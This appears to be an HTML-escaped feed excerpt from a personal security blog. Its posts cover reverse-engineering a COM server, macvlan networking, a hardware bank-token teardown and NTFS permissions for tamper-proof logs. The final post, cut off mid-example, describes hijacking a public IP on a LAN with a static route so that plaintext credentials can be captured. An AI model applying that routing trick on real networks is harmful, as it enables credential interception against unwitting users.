&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;hr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CoCreateInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CLSID_SERVER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CLSCTX_INPROC_SERVER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IID_IUnknown&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SUCCEEDED&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;func1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5370220704&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;func2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;205&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;func3&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Release&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CoFreeUnusedLibraries&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;After loading the COM object successfully, we can now step through it in the Visual Studio debugger. We see that the vtable contains 3 entries, these are actually functions exposed by the InprocServer object and information about the memory address where the function is located. In order to call these functions, we can just define our own IDL. I have created my own IDL with 3 functions named &lt;code&gt;func1&lt;/code&gt;, &lt;code&gt;func2&lt;/code&gt; and &lt;code&gt;func3&lt;/code&gt;. The first function defined will automatically map to the first function in the vtable located at &lt;code&gt;0x7ffc389214b4&lt;/code&gt;, the second defined function will map to the second function in the vtable and so on.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/com.png"&gt;&lt;/p&gt;
&lt;p&gt;We will then have to debug the binary in a debugger like x64dbg or windbg, breakpoint at the first instruction of the function, &lt;code&gt;0x7ffc389214b4&lt;/code&gt; in the example, and slowly step through the instructions. If the function expects an argument, we will likely encounter an access violation. We will then have to figure out what type of argument it expects. If the access violation occurs because it is unable to write to the memory address, the function may be expecting an argument containing address of writable memory space. In the example above, I added &lt;code&gt;const uint64_t y&lt;/code&gt; to the IDL for &lt;code&gt;func1&lt;/code&gt; and passed in the address of writable memory. You could also initialise a buffer and pass in the address of the buffer, &lt;code&gt;char* buffer = new char[100]; func1(&amp;amp;buffer);&lt;/code&gt; After re-running the program, we can finally see what the function is trying to write out.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>macvlan host guest connectivity</title><link href="https://limbenjamin.com/articles/macvlan-host-guest-connectivity.html" rel="alternate"></link><published>2020-10-08T08:25:00+08:00</published><updated>2020-10-08T08:25:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-10-08:/articles/macvlan-host-guest-connectivity.html</id><summary type="html">&lt;p&gt;There are a number of sites out there mentioning that macvlan has a limitation when used with docker or lxc containers. The host machine will not be able to communicate with the guest machine and vice versa. While this is true by default, there is a tweak that you can …&lt;/p&gt;</summary><content type="html">&lt;p&gt;There are a number of sites out there mentioning that macvlan has a limitation when used with docker or lxc containers. The host machine will not be able to communicate with the guest machine and vice versa. While this is true by default, there is a tweak that you can perform to make host guest connectivity possible. I found out about this through a &lt;a href="http://noyaudolive.net/2012/05/09/lxc-and-macvlan-host-to-guest-connection/"&gt;2012 blog post&lt;/a&gt; which is no longer around. It has worked for me all the way up till Ubuntu 20.04 where some further steps are needed.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# cat /etc/network/interfaces
auto lo
iface lo inet loopback


auto eth0
iface eth0 inet static
        address 192.168.0.123           # static IP of your host machine
        netmask 255.255.255.0
        gateway 192.168.0.1             # IP of gateway
        dns-nameservers 8.8.8.8 8.8.4.4

auto macvlan0
iface macvlan0 inet dhcp
    # as eth0 and macvlan0 are on the same LAN, we must drop default route and LAN route
    # from eth0 configuration to avoid conflicts (this just slooooow down things).
    pre-up route del default            # pre-up executes these commands before bringing up the macvlan0 interface 
    # NOTE: adapt this line to your LAN address and netmask         
    pre-up route del -net 192.168.0.0 netmask 255.255.255.0
    pre-up ip link add link eth0 name macvlan0 type macvlan mode bridge
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;What this achieves is to give a static IP address to &lt;code&gt;eth0&lt;/code&gt; on the host machine, so that it is easily accessible by other machines. As &lt;code&gt;eth0&lt;/code&gt; is unable to communicate with the guest machine, we get pass this known limitation by deleting all routes through &lt;code&gt;eth0&lt;/code&gt; then setup &lt;code&gt;macvlan0&lt;/code&gt; interface and route all egress traffic through &lt;code&gt;macvlan0&lt;/code&gt;. Since your host machine traffic is now routed through &lt;code&gt;macvlan0&lt;/code&gt;, we can now communicate with the guest machine. Do note that all egress traffic from the host machine will now appear to originate from the DHCP IP, 192.168.0.55 in the example, and not the static IP. This does not stop me from hosting services on the host machine, I can SSH to the static IP just fine.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ifconfig
eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 192.168.0.123  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::0  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether de:ad:be:ef:ca:fe  txqueuelen 1000  (Ethernet)

macvlan0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 192.168.0.55  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::0  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether de:ad:be:ef:ca:ff  txqueuelen 1000  (Ethernet)

# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         192.168.0.1     0.0.0.0         UG    203    0        0 macvlan0
192.168.0.0     0.0.0.0         255.255.255.0   U     203    0        0 macvlan0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For Ubuntu 20.04, I have found that the &lt;code&gt;eth0&lt;/code&gt; route will still be present. This is because &lt;code&gt;dhcpcd&lt;/code&gt; will automatically add the &lt;code&gt;eth0&lt;/code&gt; route at regular intervals. To get around this, I added an additional line to set the eth0 route &lt;code&gt;metric&lt;/code&gt; to 400 for the 2 files listed below. This means that the &lt;code&gt;macvlan0&lt;/code&gt; route will be prioritised over the &lt;code&gt;eth0&lt;/code&gt; route and connectivity is restored. It would also be prudent to try disabling/enabling &lt;code&gt;dhcpcd&lt;/code&gt; to see the effect. I have found that allowing &lt;code&gt;dhcpcd&lt;/code&gt; to run may result in multiple DHCP IPs to be requested by the &lt;code&gt;macvlan0&lt;/code&gt; interface.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# cat /etc/dhcpcd.conf
interface eth0
        static ip_address=192.168.0.123/24
        static routers=192.168.0.1
        static domain_name_servers=8.8.8.8 8.8.4.4
        metric 400                                  # Add this line for Ubuntu 20.04

# cat /etc/network/interfaces
...
iface eth0 inet static
        address 192.168.0.123           # static IP of your host machine
        netmask 255.255.255.0
        gateway 192.168.0.1             # IP of gateway
        dns-nameservers 8.8.8.8 8.8.4.4
        metric 400                      # May have to add this for Ubuntu 20.04
...

# service dhcpcd restart
# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         192.168.0.1     0.0.0.0         UG    203    0        0 macvlan0
default         192.168.0.1     0.0.0.0         UG    400    0        0 eth0
192.168.0.0     0.0.0.0         255.255.255.0   U     203    0        0 macvlan0
192.168.0.0     0.0.0.0         255.255.255.0   U     400    0        0 eth0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you are using LXC containers, the following profile should work. You can configure the &lt;code&gt;eth0&lt;/code&gt; interface on the guest to either use a static IP or DHCP as per normal.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;
&lt;span class="normal"&gt;8&lt;/span&gt;
&lt;span class="normal"&gt;9&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# lxc profile show default
config: {}
description: Default LXD profile
devices:
  eth0:
    nictype: macvlan
    parent: eth0
    type: nic
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Server"></category></entry><entry><title>Bank Token Teardown</title><link href="https://limbenjamin.com/articles/bank-token-teardown.html" rel="alternate"></link><published>2020-08-04T07:18:00+08:00</published><updated>2020-08-04T07:18:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-08-04:/articles/bank-token-teardown.html</id><summary type="html">&lt;p&gt;My hardware token ran out of battery recently. Before throwing it out, I opened it up to remove the battery so I can dispose of it separately. I decided to take the opportunity to sneak a quick peek into the insides of the token.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/token_f.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The model number etched on the …&lt;/p&gt;</summary><content type="html">&lt;p&gt;My hardware token ran out of battery recently. Before throwing it out, I opened it up to remove the battery so I can dispose of it separately. I decided to take the opportunity to sneak a quick peek into the insides of the token.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/token_f.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The model number etched on the circuit board indicates that it is Vasco DigiPass 270 Rev 4.3 and it is powered by a CR2016 battery. After some tracing, we can see that almost all traces lead to the secure element which is covered with black epoxy resin, possibly to deter reverse engineering. The secure element handles the input from the keypad, performs the calculations and outputs the results on the LCD screen. The token is a time based OTP as evidenced from the presence of the quartz crystal.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/token_a.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Also of interest is the positioning of those tiny holes on the orange plastic backing. They correspond perfectly with the position of the testpads which I believe are for programming the device and for providing power. It gives a clue into the manufacturing process. The circuit board is probably already affixed onto the plastic backing at the time of programming and probes are inserted through those tiny holes to program the device.&lt;/p&gt;
&lt;p&gt;Fascinating indeed.&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>NTFS Owner Rights for Logging</title><link href="https://limbenjamin.com/articles/ntfs-owner-rights-sec-principal-logging.html" rel="alternate"></link><published>2020-07-05T19:47:00+08:00</published><updated>2020-07-05T19:47:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-07-05:/articles/ntfs-owner-rights-sec-principal-logging.html</id><summary type="html">&lt;p&gt;I recently stumbled across the NTFS &lt;code&gt;Owner Rights&lt;/code&gt; security principal. This is an obscure security principal that is used to restrict the rights that the owner of the file has. This can come in handy when hardening endpoints in corporate environments. Frequently, we encounter software that has to be run …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I recently stumbled across the NTFS &lt;code&gt;Owner Rights&lt;/code&gt; security principal. This is an obscure security principal that is used to restrict the rights that the owner of the file has. This can come in handy when hardening endpoints in corporate environments. Frequently, we encounter software that has to be run in the context of a user. However, we might not want the user to tamper with the logs generated by the software. So how do we prevent that?&lt;/p&gt;
&lt;p&gt;One method is to use the NTFS &lt;code&gt;Owner Rights&lt;/code&gt; security principal to restrict the user from modifying, renaming or deleting files in the log folder. Using administrative privilege, we will first need to disable all permissions inherited from parent folders. Then, we remove the &lt;code&gt;Creator Owner&lt;/code&gt; and the &lt;code&gt;User&lt;/code&gt; principal from the folder. Finally we add the &lt;code&gt;Owner Rights&lt;/code&gt; principal to the folder and give it the following permissions.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/ownerrights.png"&gt;&lt;/p&gt;
&lt;p&gt;If performed correctly, we should see the following output when running &lt;code&gt;icacls&lt;/code&gt; on the folder. We can then copy files into the folder. These files will be immutable and we will not be able to rename or delete them. We will also not be able to grant ourselves permissions on these files. Perfect for logging integrity! If you are following along, take note that I &lt;strong&gt;copied&lt;/strong&gt; the files. Moving the files will give a different result. That is because a file will retain its original permissions if it is moved to a destination on the same NTFS partition. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;C:\ProgramData\LoggerSoftware\logs&amp;gt;icacls C:\programdata\LoggerSoftware\logs&lt;/span&gt;
&lt;span class="go"&gt;C:\programdata\LoggerSoftware\logs OWNER RIGHTS:(OI)(CI)(RX,WD)&lt;/span&gt;
&lt;span class="go"&gt;                                   NT AUTHORITY\SYSTEM:(OI)(CI)(F)&lt;/span&gt;
&lt;span class="go"&gt;                                   BUILTIN\Administrators:(OI)(CI)(F)&lt;/span&gt;

&lt;span class="go"&gt;Successfully processed 1 files; Failed processing 0 files&lt;/span&gt;

&lt;span class="go"&gt;C:\ProgramData\LoggerSoftware\logs&amp;gt;copy C:\Users\limbenjamin\Desktop\output.log .&lt;/span&gt;
&lt;span class="go"&gt;        1 file(s) copied.&lt;/span&gt;

&lt;span class="go"&gt;C:\ProgramData\LoggerSoftware\logs&amp;gt;del output.log&lt;/span&gt;
&lt;span class="go"&gt;C:\ProgramData\LoggerSoftware\logs\output.log&lt;/span&gt;
&lt;span class="go"&gt;Access is denied.&lt;/span&gt;

&lt;span class="go"&gt;C:\ProgramData\LoggerSoftware\logs&amp;gt;ren output.log output1.log&lt;/span&gt;
&lt;span class="go"&gt;Access is denied.&lt;/span&gt;

&lt;span class="go"&gt;C:\ProgramData\LoggerSoftware\logs&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Also, do make sure to protect the parent directory as well. We do not want the user moving the entire parent directory and creating a new one with default permissions in its place.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;C:\ProgramData&amp;gt;move LoggerSoftware LoggerSoftwareOld&lt;/span&gt;
&lt;span class="go"&gt;        1 dir(s) moved.&lt;/span&gt;

&lt;span class="go"&gt;C:\ProgramData&amp;gt;mkdir LoggerSoftware&lt;/span&gt;

&lt;span class="go"&gt;C:\ProgramData&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Public IP Hijacking over LAN</title><link href="https://limbenjamin.com/articles/public-ip-hijacking-over-lan.html" rel="alternate"></link><published>2020-06-20T17:32:00+08:00</published><updated>2020-06-20T17:32:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-06-20:/articles/public-ip-hijacking-over-lan.html</id><summary type="html">&lt;p&gt;This is a topic that is not commonly discussed. Most articles about IP hijacking deal with the subject at the ISP level, i.e. hijacking of BGP protocol. However, IP hijacking can be performed on the LAN as well. It is possible to use static routes at the gateway to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This is a topic that is not commonly discussed. Most articles about IP hijacking deal with the subject at the ISP level, i.e. hijacking of BGP protocol. However, IP hijacking can be performed on the LAN as well. It is possible to use static routes at the gateway to route a public IP address to an internal IP address. Any machines on the local LAN visiting that public IP over an unsecure protocol where certificates are not verified, e.g. HTTP/FTP/TELNET, could have their credentials captured.&lt;/p&gt;
&lt;p&gt;Most routers support adding static routes through a GUI. In the example below, I have added a static route to route all traffic to 1.2.3.4 through 192.168.1.249 with a metric of 2. A lower metric indicates a shorter route and will be preferred by the router over the default route.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/staticroute.png"&gt;&lt;/p&gt;
&lt;p&gt;For network admins out there more familiar with the CLI, the routing table will look like this.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Destination     Gateway         Genmask         Flags    Metric Ref    Use Type Iface
1.2.3.4         192.168.1.249   255.255.255.255 UGH      3      0        0 LAN  br0
115.66.95.254   *               255.255.255.255 UH       0      0        0 WAN0 vlan10
192.168.1.0     *               255.255.255.0   U        0      0        0 LAN  br0
default         115.66.95.254   0.0.0.0         UG       0      0        0 WAN0 vlan10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;To complete the charade we add 1.2.3.4 as a second IP on the same interface of the 192.168.1.249 machine. This ensures that the machine will respond to any ingress packets with destination 1.2.3.4.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;address&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.2.3.4/32&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;enp2s0
&lt;span class="gp"&gt;$ &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;addr
&lt;span class="go"&gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;/span&gt;
&lt;span class="go"&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;/span&gt;
&lt;span class="go"&gt;    inet 127.0.0.1/8 scope host lo&lt;/span&gt;
&lt;span class="go"&gt;       valid_lft forever preferred_lft forever&lt;/span&gt;
&lt;span class="go"&gt;    inet6 ::1/128 scope host&lt;/span&gt;
&lt;span class="go"&gt;       valid_lft forever preferred_lft forever&lt;/span&gt;
&lt;span class="go"&gt;2: enp2s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;/span&gt;
&lt;span class="go"&gt;    link/ether de:ad:be:ef:ca:fe brd ff:ff:ff:ff:ff:ff&lt;/span&gt;
&lt;span class="go"&gt;    inet 192.168.1.249/24 brd 192.168.1.255 scope global enp2s0&lt;/span&gt;
&lt;span class="go"&gt;       valid_lft forever preferred_lft forever&lt;/span&gt;
&lt;span class="go"&gt;    inet 1.2.3.4/32 scope global enp2s0&lt;/span&gt;
&lt;span class="go"&gt;       valid_lft forever preferred_lft forever&lt;/span&gt;
&lt;span class="go"&gt;    inet6 fe80::1357:2468:abcd:dcba/64 scope link&lt;/span&gt;
&lt;span class="go"&gt;       valid_lft forever preferred_lft forever&lt;/span&gt;
